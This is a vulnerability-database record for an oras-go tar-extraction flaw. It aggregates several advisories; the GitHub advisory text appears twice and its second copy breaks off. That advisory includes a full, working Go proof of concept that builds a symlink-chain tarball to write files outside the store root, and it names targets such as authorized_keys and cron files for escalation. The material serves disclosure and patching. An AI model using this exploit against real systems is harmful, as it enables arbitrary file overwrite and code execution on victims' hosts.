{"id":"CVE-2026-85731","aliases":["DEBIAN-CVE-2026-85731","EUVD-2026-80873","GHSA-m37j-52j7-pjw7","GO-2026-6499","ROOT-APP-GOBINARY-CVE-2026-85731","SUSE-SU-2026:4417-1","UBUNTU-CVE-2026-85731","openSUSE-SU-2026:11832-1"],"status":"published","title":"oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00676,"percentile":0.5273,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-59"],"published":"2026-09-16T16:24:48Z","modified":"2026-10-28T20:17:13Z","fixes":[{"ecosystem":"Go","package":"oras.land/oras-go/v2","fixed_in":["2.6.2"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"golang-oras-oras-go","fixed_in":["2.6.2-1"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"oras.land/oras-go/v2","fixed_in":["v2.6.1-aikido.2","v2.6.1-aikido.3","v2.6.0-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"rootio-oras.land/oras-go/v2","fixed_in":["v2.6.1-root.io.2","v2.6.1-root.io.3","v2.6.0-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"oras.land/oras-go/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6.1"},{"fixed":"2.6.2"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.1-1","2.5.0-1","2.6.0-1","2.6.2-1","2.6.2-2"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","2.6.0-1","2.6.2-1","2.6.2-2"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.2-1"}]}],"versions":["2.5.0-1","2.6.0-1"]},{"source":"osv","ecosystem":"Go","package":"oras.land/oras-go/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.2"}]}]},{"source":"osv","ecosystem":"Go","package":"oras.land/oras-go/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.2"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"oras.land/oras-go/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v2.6.1-aikido.2"},{"fixed":"v2.6.1-aikido.3"},{"fixed":"v2.6.0-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"rootio-oras.land/oras-go/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v2.6.1-root.io.2"},{"fixed":"v2.6.1-root.io.3"},{"fixed":"v2.6.0-root.io.2"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Containers 15 SP7","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-150000.1.99.1"}]}],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.1-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","2.6.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"helm3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-1.1"}]}],"bundled":2}],"products":[{"vendor":"oras-project","product":"oras-go"}],"references":[{"url":"https://github.com/oras-project/oras-go/security/advisories/GHSA-m37j-52j7-pjw7","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/oras-project/oras-go/commit/adab2f25ea95ef4e6e41f50db9266a6701399422","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/oras-project/oras-go/releases/tag/v2.6.2","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85731","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m37j-52j7-pjw7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85731.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-85731","tags":["advisory"]},{"url":"https://github.com/oras-project/oras-go","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264417-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1281104","tags":["report"]},{"url":"https://bugzilla.suse.com/1281112","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-85731","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-85732","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-85731","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-85731","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-85731","title":"oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.","status":"published","published":"2026-09-16T16:24:48.905Z","modified":"2026-09-16T17:25:07.159Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:19:52.410665Z"}],"euvd":[{"id":"EUVD-2026-80873","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.","status":"published","published":"2026-09-16T16:24:48Z","modified":"2026-09-16T17:25:07Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:15.055852Z"}],"ghsa":[{"id":"GHSA-m37j-52j7-pjw7","title":"oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)","description":"### Summary\nThe `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive.\n\n### Details\n**Affected versions:** `\u003c= v2.6.1`\n\n**Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` — reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: \"true\"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer.\n\n**Root cause 1 — lexical link validation.** `content/file/utils.go` lines 264–275, `ensureLinkPath`:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n        // resolve link\n        path := target\n        if !filepath.IsAbs(target) {\n                path = filepath.Join(filepath.Dir(link), target)\n        }\n        // ensure path is under baseAbs or baseRel\n        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n                return \"\", err\n        }\n        return target, nil\n}\n```\n\n`filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components.\n\n**Root cause 2 — parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247–257, inside `resolveRelToBase`:\n\n```go\n// No symbolic link allowed in the relative path\ndir := filepath.Dir(path)\nfor dir != \".\" {\n        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {\n                ...\n        } else if info.Mode()\u0026os.ModeSymlink != 0 {\n                return \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", baseRel, target)\n        }\n        dir = filepath.Dir(dir)\n}\n```\n\nFor an entry named `\u003ctitle\u003e/escape`, `path == \"escape\"` and `filepath.Dir(\"escape\") == \".\"`, so the loop body never executes — the entry itself is never `Lstat`-checked.\n\n**Root cause 3 — write follows symlinks.** `content/file/utils.go` line 279, `writeFile`:\n\n```go\nfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)\n```\n\nNo `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.\n\n**Data flow / exploit construction.** Let `baseAbs = \u003cworkingDir\u003e/\u003ctitle\u003e` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order:\n\n1. `N` nested directories `\u003ctitle\u003e/d0/d1/…/d{N-1}`.\n2. A symlink `\u003ctitle\u003e/d0/…/d{N-1}/up` → `\"../../…\"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.\n3. A symlink `\u003ctitle\u003e/escape` → `\"d0/…/d{N-1}/up/../../…/\u003cabsTarget\u003e\"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, \"d0/…/up/../…/\u003cabsTarget\u003e\")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/\u003cabsTarget\u003e` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/\u003cabsTarget-parents\u003e`, none of which are symlinks (they don't exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `\u003cabsTarget\u003e` is appended — the symlink points at the attacker-chosen absolute path.\n4. A regular file `\u003ctitle\u003e/escape` (same name). `resolveRelToBase(\"escape\")` yields `dir == \".\"` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to `\u003cabsTarget\u003e`.\n\n**Why v2.6.1's `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.\n\n**Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.\n\n### PoC\n```\ngo mod init poc\ngo get oras.land/oras-go/v2@v2.6.1\ngo run .\n```\n\n```go\n// Arbitrary file write outside a default-configured file.Store via\n// symlink-chain bypass in content/file.extractTarDirectory.\n//\n// ensureLinkPath() validates symlink targets purely lexically with\n// filepath.Join, which collapses \"..\" textually and does not follow\n// intermediate symlink components. By first planting a deep \"up\" symlink\n// that legitimately resolves to the extraction root, an \"escape\" symlink\n// can be crafted whose lexical target stays in-bounds but whose\n// kernel-resolved target is any absolute path. A follow-up TypeReg entry\n// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),\n// writing through the symlink.\n//\n// Realistic trigger: oras.Copy() from an untrusted registry into a\n// file.New() store. The attacker controls the manifest (sets\n// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.\n// All digests are honest, so content verification passes.\npackage main\n\nimport (\n        \"archive/tar\"\n        \"bytes\"\n        \"compress/gzip\"\n        \"context\"\n        _ \"crypto/sha256\"\n        \"fmt\"\n        \"os\"\n        \"path/filepath\"\n        \"strings\"\n\n        \"github.com/opencontainers/go-digest\"\n        ocispec \"github.com/opencontainers/image-spec/specs-go/v1\"\n        \"oras.land/oras-go/v2/content/file\"\n)\n\nfunc main() {\n        if err := run(); err != nil {\n                fmt.Println(\"ERROR:\", err)\n                os.Exit(1)\n        }\n}\n\nfunc run() error {\n        ctx := context.Background()\n\n        // Victim's working directory for the file store.\n        workDir, err := os.MkdirTemp(\"\", \"oras-victim-*\")\n        if err != nil {\n                return err\n        }\n        defer os.RemoveAll(workDir)\n        fmt.Println(\"[*] file.Store working dir:\", workDir)\n\n        // Target path the attacker wants to write, OUTSIDE workDir.\n        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;\n        // a temp path keeps the demo self-contained.)\n        outsidePath := filepath.Join(os.TempDir(), \"oras-PWNED\")\n        _ = os.Remove(outsidePath)\n        defer os.Remove(outsidePath)\n        fmt.Println(\"[*] attacker target (outside workDir):\", outsidePath)\n\n        // The layer's AnnotationTitle. extractTarDirectory uses this as both the\n        // in-tar prefix and the on-disk subdir under workDir.\n        const title = \"out\"\n        baseAbs := filepath.Join(workDir, title)\n\n        // N nested dirs + a symlink \"up\" -\u003e N*\"../\" so that after the kernel\n        // follows \"up\" (landing at baseAbs) the remaining N lexical \"..\"\n        // components climb from baseAbs to \"/\". N must be \u003e= depth(baseAbs).\n        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), \"/\"), \"/\"))\n        fmt.Printf(\"[*] baseAbs depth = %d, building %d nested dirs\\n\", depth, depth)\n\n        gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)\n        if err != nil {\n                return err\n        }\n\n        // Descriptor exactly as it would appear in a manifest's \"layers\" array.\n        desc := ocispec.Descriptor{\n                MediaType: \"application/vnd.oci.image.layer.v1.tar+gzip\",\n                Digest:    dgst,\n                Size:      size,\n                Annotations: map[string]string{\n                        ocispec.AnnotationTitle: title,\n                        file.AnnotationUnpack:   \"true\",\n                },\n        }\n\n        // Victim creates a file store with default settings (path traversal DISALLOWED).\n        store, err := file.New(workDir)\n        if err != nil {\n                return err\n        }\n        defer store.Close()\n        fmt.Println(\"[*] store.AllowPathTraversalOnWrite =\", store.AllowPathTraversalOnWrite)\n\n        // This is exactly what oras.Copy() invokes per layer.\n        if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {\n                return fmt.Errorf(\"Push: %w\", err)\n        }\n\n        // Check whether the out-of-tree file was written.\n        if data, err := os.ReadFile(outsidePath); err == nil {\n                rel, _ := filepath.Rel(workDir, outsidePath)\n                fmt.Printf(\"\\n[!] BYPASS: wrote %q to %s\\n\", string(data), outsidePath)\n                fmt.Printf(\"[!] relative to workDir: %s\\n\", rel)\n                fmt.Println(\"[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\")\n                return nil\n        }\n        fmt.Println(\"\\n[-] no escape (file not created at\", outsidePath, \")\")\n        return nil\n}\n\n// buildMaliciousLayer builds a tar.gz that, when extracted by\n// content/file.extractTarDirectory under \u003cworkDir\u003e/\u003ctitle\u003e, writes to outsidePath.\nfunc buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {\n        var buf bytes.Buffer\n        gzw := gzip.NewWriter(\u0026buf)\n        tw := tar.NewWriter(gzw)\n\n        // 1. Nested directories: title/d0/d1/.../d{depth-1}\n        dirs := make([]string, depth)\n        for i := 0; i \u003c depth; i++ {\n                dirs[i] = fmt.Sprintf(\"d%d\", i)\n        }\n        for i := 1; i \u003c= depth; i++ {\n                name := title + \"/\" + strings.Join(dirs[:i], \"/\")\n                if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {\n                        return nil, \"\", 0, err\n                }\n        }\n\n        // 2. \"up\" symlink at the bottom, pointing back to baseAbs via depth*\"../\".\n        //    Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.\n        upName := title + \"/\" + strings.Join(dirs, \"/\") + \"/up\"\n        upTarget := strings.Repeat(\"../\", depth-1) + \"..\"\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 3. \"escape\" symlink at title/escape.\n        //    Target = d0/.../d{N-1}/up/../.. (N times) /\u003coutsidePath\u003e\n        //    LEXICAL clean: the N \"..\" cancel \"up\" + (N-1) dirs, leaving\n        //      d0/\u003coutsidePath\u003e  - INSIDE baseAbs, so ensureLinkPath accepts it.\n        //    KERNEL: d0/.../up follows the symlink to baseAbs, then N*\"..\"\n        //      climbs to \"/\", then appends outsidePath.\n        dots := strings.Repeat(\"../\", depth-1) + \"..\"\n        escapeTarget := strings.Join(dirs, \"/\") + \"/up/\" + dots + outsidePath\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: title + \"/escape\", Linkname: escapeTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 4. Regular file entry at title/escape - same path as the symlink.\n        //    resolveRelToBase(\"escape\") has dir==\".\" so the per-component Lstat\n        //    loop never runs; writeFile opens with O_CREATE|O_TRUNC (no\n        //    O_NOFOLLOW) and writes through the symlink to outsidePath.\n        payload := []byte(\"PWNED-BY-ORAS-TARSLIP\")\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeReg, Name: title + \"/escape\", Mode: 0o644, Size: int64(len(payload))}); err != nil {\n                return nil, \"\", 0, err\n        }\n        if _, err := tw.Write(payload); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        if err := tw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n        if err := gzw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        data := buf.Bytes()\n        return data, digest.FromBytes(data), int64(len(data)), nil\n}\n```\n\nExpected output (paths vary):\n\n```\n[*] file.Store working dir: /tmp/oras-victim-209731351\n[*] attacker target (outside workDir): /tmp/oras-PWNED\n[*] baseAbs depth = 3, building 3 nested dirs\n[*] store.AllowPathTraversalOnWrite = false\n\n[!] BYPASS: wrote \"PWNED-BY-ORAS-TARSLIP\" to /tmp/oras-PWNED\n[!] relative to workDir: ../oras-PWNED\n[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\n```\n\n### Impact\n**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.\n\n**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host.\n\n**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).","status":"published","published":"2026-09-17T17:15:57Z","modified":"2026-09-17T17:15:59Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:41:18.357514Z"}],"nvd":[{"id":"CVE-2026-85731","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.","status":"published","published":"2026-09-16T17:18:15.833Z","modified":"2026-09-16T18:17:17.963Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:12:48.630594Z"}],"osv":[{"id":"CVE-2026-85731","title":"oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.","status":"published","published":"2026-09-16T16:24:48.905Z","modified":"2026-10-28T02:30:39.210791959Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:45:18.825071Z"},{"id":"DEBIAN-CVE-2026-85731","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.","status":"published","published":"2026-09-16T17:18:15.833Z","modified":"2026-10-01T03:03:37.253408689Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:05.022702Z"},{"id":"GHSA-m37j-52j7-pjw7","title":"oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)","description":"### Summary\nThe `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive.\n\n### Details\n**Affected versions:** `\u003c= v2.6.1`\n\n**Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` — reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: \"true\"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer.\n\n**Root cause 1 — lexical link validation.** `content/file/utils.go` lines 264–275, `ensureLinkPath`:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n        // resolve link\n        path := target\n        if !filepath.IsAbs(target) {\n                path = filepath.Join(filepath.Dir(link), target)\n        }\n        // ensure path is under baseAbs or baseRel\n        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n                return \"\", err\n        }\n        return target, nil\n}\n```\n\n`filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components.\n\n**Root cause 2 — parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247–257, inside `resolveRelToBase`:\n\n```go\n// No symbolic link allowed in the relative path\ndir := filepath.Dir(path)\nfor dir != \".\" {\n        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {\n                ...\n        } else if info.Mode()\u0026os.ModeSymlink != 0 {\n                return \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", baseRel, target)\n        }\n        dir = filepath.Dir(dir)\n}\n```\n\nFor an entry named 